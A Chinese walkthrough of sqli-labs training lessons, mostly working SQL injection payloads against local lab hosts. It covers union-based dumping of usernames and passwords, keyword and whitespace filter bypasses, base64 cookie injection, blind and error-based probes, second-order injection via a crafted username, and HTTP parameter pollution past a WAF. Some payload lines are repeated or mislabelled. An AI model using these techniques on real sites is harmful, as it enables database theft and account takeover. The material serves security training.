后来发现,网上所有就是讲解sqli的,到后面都没有用查有多少字段数的order by这个语句,几乎都没有提到过,我自己也尝试在后面的变形中加入加入进去但是不知道为什么老是出错,现在我想到的办法就是
比如28a关
语句是这样的
http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,database(),('3')=('3
在我们不知道有几位的时候可以这样推出来
http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a0 *,('3')=('3
http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,2,('3')=('3
http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,2,4,('3')=('3
就这样一直去推直到正确,这里数字可以随便填没关系的,只是用来报错显示到页面上的,然后不断增加位置直到页面报错显示出来
如果有朋友知道后面几关order by 怎么用的话麻烦评论教我下
这里我们输入admin来看看页面返回什么
这里的cookie经过base64编码过了
===================================
一个合法的Base64,有着以下特征:
字符串的长度为4的整数倍。
字符串的符号取值只能在A-Z, a-z, 0-9, +, /, =共计65个字符中,且=如果出现就必须在结尾出现
字符串的长度为4的整数倍。
字符串的符号取值只能在A-Z, a-z, 0-9, +, /, =共计65个字符中,且=如果出现就必须在结尾出现
===================================
我们通过burp抓包然后进行解码发现就是admin
那这样你们应该明白了吧,思路其实跟上一关是一样的就是要把cooike要进行base64编码
这里需要注意的是左边的Cookie后面的%3D是Url编码,要对他进行URL解码后变成=然后在进行整体base64解码
我们看下源码
然后我们开始构造注入语句并通过base64编码
接下来我就不放出编码过程了,burp里面自带编码功能,或者到网站找在线编码的网站:http://base64.xpcha.com/
查数据库名:
LWFkbWluJyl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
查表名:
LWFkbWluJyl1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGxpbWl0IDMsMSM=
查字段名:
LWFkbWluJyl1bmlvbiBzZWxlY3QgMSwyLGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyBsaW1pdCAxLDEj
查数据:
LWFkbWluJyl1bmlvbiBzZWxlY3QgMSwyLGNvbmNhdCgnficsdXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMgbGltaXQgMSwxIw==
这个和Less-21差别不大,只是')改成"就可以了
我们先测试下这个 admin"order by 4#——>YWRtaW4ib3JkZXIgYnkgNCM=
页面发送了错误
在测试下这个admin"order by 3#——>YWRtaW4ib3JkZXIgYnkgMyM=
页面正常
然后我们查数据库名:
LWFkbWluInVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
查表名:
LWFkbWluInVuaW9uIHNlbGVjdCAxLDIsdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgbGltaXQgMywxIw==
LWFkbWluInVuaW9uIHNlbGVjdCAxLDIsY29sdW1uX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIGxpbWl0IDEsMSM=
查数据:
LWFkbWluInVuaW9uIHNlbGVjdCAxLDIsY29sdW1uX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIGxpbWl0IDEsMSM=
首先单引号,报错
加个#(%23),页面正常看语句,发现被过滤了
我们在试试单行注释--+,页面正常,看语句发现被换成了空格
我们看下源码发现有字符过滤
那么总结一下如何判断注释过滤,具体过滤成什么就要看报错信息了
#:直接加 单引号,双引号等,后面再加个#,如果报错信息还是不变可能出现过滤
--:这个也是咯,直接加 单引号,双引号等,后面再加个--,后面不用空格(因为--注释有效的时候,后面要有空格或其他字符才行,这里判断过滤就不用了)
那么只能闭合绕过了吧,多行注释符好像不行
先查数据库名:
http://10.10.10.139/sql/Less-23/?id=-1'union select 1,database(),'3
此处讲解几个知识点:
id=-1,为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。
-1' union select 1,database(),'3,第一个'(单引号)闭合-1,第二个'(单引号)闭合后面的。这样将查询内容显示在username处。
此处可以报错注入,延时注入,可以利用or '1'='1进行闭合。http://10.10.10.139/sql/Less-23/?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1 还有一个就是 http://10.10.10.139/sql/Less-23/?id=1'or updatexml(1,concat('~',(select database())),3) or '1'='1 ////////这里我就不多做演示,就是前面几关的知识,有兴趣的小伙伴可以自己试试注入////////
查表名:
http://10.10.10.139/sql/Less-23/?id=-1'union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),'3
查字段名:
http://10.10.10.139/sql/Less-23/?id=-1'union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'3
查数据:
http://10.10.10.139/sql/Less-23/?id=-1'union select 1,(select concat_ws(char(45),username,password) from users limit 1,1),'3
这关是一个完整的网站
我们注册,登录,然后忘记密码这些流程都过了好对这关有个了解,审计下源文件
其实真正在后台工作的是login_create.php,login.php,pass_change.php这三个文件
然后我们分别审计下这些源文件,看看SQL语句位置,寻找突破
login.php
对Username和password都进行了过滤
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符 (详解传送门)
login_create.php
这里面同样进行了过滤
pass_change.php
我们在pass_change.php里面发现了Username并没有进行过滤,那么我们自己构造一个特殊的username来进行注入
这里我们把用户名取成 admin'#
如果我们更改咪语句就变成 update users set password'$pass' where username='admin'#' and password='curr_pass'
;这样不会与原来的admin帐号一样,而且在登录后更改密码时会带入到语句里面,把后面的and password='$curr_pass'注释掉,这样我们的Username就变成'admin'
先注册帐号
我们先登陆
登录后我们对网页进行抓包 然后将里面的username改为admin'#
这样就可以通过#把sql语句中后面的对现用密码验证进行注释掉
这里我们现用密码乱写 然后下面写上我们需要修改的密码
查看结果
确认单引号字符注入
http://localhost/sqli-labs/Less-25/?id=1'
判断过滤了or,跟less1对比报错即可推断出来
http://localhost/sqli-labs/Less-25/?id=1' or1
第一张是less1的 第二张是less25的
and的也是同理
我们在看下源码,开了i模式的匹配,大小写是不能饶的,我们就可以利用or和and对应的逻辑符号进行注入了
例子 | 名称 | 结果 |
---|---|---|
$a and $b | And(逻辑与) | TRUE,如果 $a 与 $b 都为TRUE。 |
$a or $b | Or(逻辑或) | TRUE,如果 $a 或 $b 任一为TRUE。 |
$a xor $b | Xor(逻辑异或) | TRUE,如果 $a 或 $b 任一为TRUE,但不同时是。 |
! $a | Not(逻辑非) | TRUE,如果 $a 不为TRUE。 |
$a && $b | And(逻辑与) | TRUE,如果 $a 与 $b 都为TRUE。 |
$a || $b | Or(逻辑或) | TRUE,如果 $a 或 $b 任一为TRUE。 |
注意这里需要把逻辑运算符进行URL编码
可以拿去跟上面less1的截图发现是一样的错误
这里还可以双写绕过,因为它只过滤一次
http://localhost/sqli-labs/Less-25/?id=1' oorr '1'='1
http://localhost/sqli-labs/Less-25/?id=1' anandd '1'='1
那么盲注怎么判断过滤了and跟or呢,直接在前面添加or或and
不同于25关的是sql语句中对于id,没有''的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。
此处采取两种方式:延时注入和联合注入。
http://10.10.10.139/sql/Less-25a/?id=-1%20||%20if(length(database())=8,1,sleep(5))#
http://10.10.10.139/sql/Less-25a/?id=-1%20union%20select%201,database(),3#
确认过滤了#
http://10.10.10.139/sql/Less-26/?id=%231
确认过滤了or
http://10.10.10.139/sql/Less-26/?id=or1
确认过滤多行注释符
http://10.10.10.139/sql/Less-26/?id=/*1
确认过滤了单行注释
http://localhost/sqli-labs/Less-26/?id=--1
确认过滤了斜杠
http://10.10.10.139/sql/Less-26/?id=/1
确认过滤了反斜杠
http://10.10.10.139/sql/Less-26/?id=\
确认过滤了空格,报错注入才行哦,这个判断
http://10.10.10.139/sql/Less-26/?id=1' ' '
源码部分
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/and/i',"", $id);
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[\s]/',"", $id);
$id= preg_replace('/[\/\\\\]/',"", $id);
下面看看绕过吧,看着都难绕,这次就提取完整的数据吧,
我们常见的绕过空格的就是多行注释,/**/但这里过滤了,所以这行不通,
将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
注意:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到Linux平台下。
sql语句为:SELECT * FROM users WHERE id='$id' LIMIT 0,1
我们首先给出一个最为简单的payload:
http://127.0.0.1/sqllib/Less-26/?id=1'%a0||'1
Explain:'%a0||'1
同时,我们此处的sql语句为SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1
第一个 ' 首先闭合id='$id' 中的',%a0是空格的意思,
(ps:此处我的环境是ubuntu14.04+apache+mysql+php,可以解析%a0,此前在windows+wamp测试,不能解析%a0,有知情的请告知。)
同时%0b也是可以通过测试的,其他的经测试是不行的。||是或者的意思,'1则是为了闭合后面的 ' 。
注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要
确认字段数
http://10.10.10.139/sqli/Less-26/?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271
http://10.10.10.139/sqli/Less-26/?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271
查数据库名
http://10.10.10.139/sql/Less-26/?id=0'union%a0select%a01,database(),3%26%26'1'='1
中间补充一个函数group_concat()
能将同行的内容组合一起显示出来
详解传输
查表名(information里面有一个or会被过滤掉所以需要双写infoorrmation)(这里用&&)
http://10.10.10.139/sql/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1
查字段名(这里需要注意and也需要双写)
http://10.10.10.139/sql/Less-26/?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1
查数据
http://10.10.10.139/sql/Less-26/?id=0'%a0union%a0select%a01,group_concat(username),3%a0from%a0users%a0where%a0'1%27='1
也可以一起查
http://10.10.10.139/sql/Less-26/?id=0'%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1
这里不同的是后面多了where '1'='1,是为了让语句变成无约束查询
详解where 1=1
还有一种就是用连接符结合上几天xpath报错获取信息来获取信息:
http://10.10.10.139/sql/Less-26/?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'
具体的我就演示了,方法可以有很多的,小伙伴们可以自行尝试
这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入。
sql语句为 SELECT * FROM users WHERE id=('$id') LIMIT 0,1
查数据库名
http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
查表名
http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
查字段名
http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1
接下来的我换了Ubuntu的环境去测试,之前是win2003+phpstudy的环境,因为27关在这里面就不会报错了,我也不知道为什么,换了一个环境就好了
老样子先看看是否过滤了单引号,发现是过滤的
是否过滤空格,也是过滤的
看是否过滤关键字
也是过滤的,但是大小写可以突破的
看下源码
m (PCRE_MULTILINE)默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 "\n" 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。s (PCRE_DOTALL)如果设置了这个修饰符,模式中的点号元字符匹配所有字符,包含换行符。如果没有这个 修饰符,点号不匹配换行符。这个修饰符等同于 perl 中的/s修饰符。 一个取反字符类比如 [^a] 总是匹配换行符,而不依赖于这个修饰符的设置。/m 当设定了此修正符,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。这和 Perl 的 /m 修正符是等效的。如果目标字符串中没有“\n”字符或者模式中没有 ^ 或 $,则设定此修正符没有任何效果。 实际上就就是匹配多行的意思?
/s 使圆点元字符(.)匹配换行符, 上面这里没有点就不用管了,那么上面直接大小写绕过就可以了
爆数据库
http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
这里的or '1 ' = '1是为了闭合和后的' 变成or '1'='1' limit 1,1 让语句完整
查表名 (这里需要把or换成&&(%26%26))
http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1
查字段名
http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1
查数据
http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3
在查数据的时候我参考的那个语句是
http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect (1),(2),'(3
后来我把最后后面联合查询的 括号 都去掉,发现都没问题就是把 1 的括号去掉的时候报错了,然后我在前面加个%a0又正常了,我的猜想大概是原作者是为了防止空格被过滤 然后后面的参数会跟前面的参数黏在一起发生了错误,加上了括号即使被过滤也可以让系统来区分不至于报错。
这是原作者的语句
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1 爆数据库
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271 爆表
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3 提取数据
://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1 爆数据库
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271 爆表
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3 提取数据
都加了空格这样用union select就可以避免空格了,就算空格被过滤也没关系
这个是less 27的盲注版本,双引号型的
http://10.10.10.141/sql/Less-27a/?id=1"or "1"="1
下面给出盲注的payload
http://10.10.10.141/sql/Less-27a/?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3
http://10.10.10.141/sql/Less-27a/?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3
查数据库
http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3
查表名:
查表面需要闭合后面双引号我就用"1"="1来闭合,前面还需要&&(%26%26)并一起,要不然会显示不出来,这个我经常忘记,没有就会出现这种情况
http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1
查字段名
http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1
查数据(注意这里需要把&&给去掉,我也是经常忘记)
http://10.10.10.141/sql/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3
这里的话提数据除了后面再接查询语句外,还可以用where 1=1还提数据,当然前面也同样适用,只是我现在才想到
http://10.10.10.141/sql/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0where%a0"1"="1
这里我需要说明下,我做题的时候不小心做错了,一直以为是28题,后来才发现是28a的题目,然后我把测试语句放到28题里面测试了都一样的,就是URL28后面多个a少个a的区别,这里我就不补充啦,太累了,做28你们可以参照下面的来做一样的
28a说是盲注,但是不知道为啥竟然可以报错,这里我就把盲注的代码也拿过来备用
加红的部分是我容易犯错的地方,对于盲注大家还是用脚本跑的比较好
长度是8
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>7)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>8)and('1')=('1
第一个字符是115,即s
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>114)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1
sElect%a0database()),1,1))>114)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1
开始之前我们需要打开源码把里面的注释给去除,增加挑战难度
那个i表示正在匹配的模式,i是忽略大小写,\s就是匹配任意空白字符,制表符啊,换行啊空格啊等
那我们中间不加空格能绕过吧还是用%a0吧
老规矩,我先输入单引号,然后双引号,看报错,猜测下语句里面用的是什么这里我用单引号报错了,然而双引号没有报错
单引号
双引号
然后输入(,看会不会报错
http://10.10.10.141/sql/Less-28a/?id=1)''
后面单引号是闭合原来语句的单引号,加上)没错,说明原来的语句有括号
语句可能就是 select *from users where id=('xxx')
查数据库
http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,database(),('3')=('3
或者这样可以的,主要关注的是需要闭合原语句后面的')
http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,database(),3%a0or%a0('1')=('1
查表名:(这里别忘记把or换成&&)
http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('1')=('1
查字段名
http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('1')=('1
查数据(把&&换成where)
http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('1')=('1
还有这个
http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0UNion%a0SELect%a01,2,('3')=('3
看下页面,(这个网站受到世界最好的防火墙保护)
老规矩先判断
输入双引号正常
输入一个引号发生错误,两个引号正常
那么语句可能是 select * from users where id='xx' limit 1,1
在apache的index.php中,sql语句为:
[plain] view plain copy
然后我们尝试注入
http://10.10.10.141/sql/Less-29/login.php?id=0' union select 1,2,3
注:被检测到有问题,跳转到其他的页面了
源文件
Less-29 Protection with WAF
Welcome Dhakkan
";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "
";
break;
}
}
}
?>
Reference:
AppsecEU09_CarettoniDiPaola_v0.8.pdf
https://community.qualys.com/servlet/JiveServlet/download/38-10665/Protocol-Level Evasion of Web Application Firewalls v1.1 (18 July 2012).pdf
现在,http://blog.csdn.net/nzjdsds/article/details/77758824 你们需要把这个文章给仔细的看下并理解下源码
然后再接下去看
这里我的理解是,waf是只允许输入数字的,我们在输入数字的时候先给waf看然后检测正常后才转发给我们需要访问的页面,那篇文章是有写到的,这里我弄2个值,一个是用来欺骗waf的。另一个才是给我们需要访问页面的,如果有错误希望各位批评指正
我们根据HPP的原理,来进行SQL注入
查数据库
http://10.10.10.141/sql/Less-29/login.php?id=2&id=-1' union select 1,2,database() %23
'用来闭合,%23是用来过滤后面的语句
查表名:
http://10.10.10.141/sql/Less-29/login.php?id=2&id=-1' union select 1,2,group_concat(table_name ) from information_schema.tables where table_schema='security' %23
查字段名
http://10.10.10.141/sql/Less-29/login.php?id=2&id=-1' union select 1,2,group_concat(column_name ) from information_schema.columns where table_schema='security' and table_name='users'%23
http://10.10.10.141/sql/Less-29/login.php?id=2&id=-1' union select 1,2,group_concat(username) from users %23
Less-30 基于错误的GET型双引号字符型注入
这题跟上一题差不多,语句就是把单引号换成双引号就行了
http://10.10.10.141/sql/Less-30/login.php?id=2&id=-1" union select 1,2,group_concat(column_name ) from information_schema.columns where table_schema='security' and table_name='users'%23
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271